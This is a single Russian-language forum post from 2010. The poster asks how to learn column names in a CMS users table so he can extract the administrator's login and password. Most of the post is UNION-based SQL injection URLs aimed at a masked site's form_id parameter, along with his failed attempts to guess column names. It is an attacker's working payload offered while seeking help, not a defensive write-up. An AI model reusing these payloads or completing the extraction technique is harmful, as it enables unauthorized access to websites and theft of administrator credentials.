Показать сообщение отдельно

  #8  
Старый 20.02.2010, 18:04
Darren
Banned
Регистрация: 14.06.2008
Сообщений: 34
С нами: 9424793

Репутация: 13
По умолчанию

Такой вопрос, допустим я нашёл таблицу в которой содержатся логин и пасс админа

http://xxx/page.php?form_id=-75+union+select+1,2,3,4,5+from+cms_system_users+li mit+0,1--

Узнать название столбца содержащее логин админа можно только перебирая названия типа admin, user,users, login, password , т.е. только методом перебора напр. так:
http://xxx/page.php?form_id=-75+union+select+1,2,3,4,admin+from+cms_system_user s+limit+0,1--

http://xxx/page.php?form_id=-75+union+select+1,2,3,4,column_name+from cms_system_users+limit+0,1--
(так тоже не выходит)

или как можно узнать названия столбцов в существующей таблице?только перебором? в факах не понял смысла, help please
 
Ответить с цитированием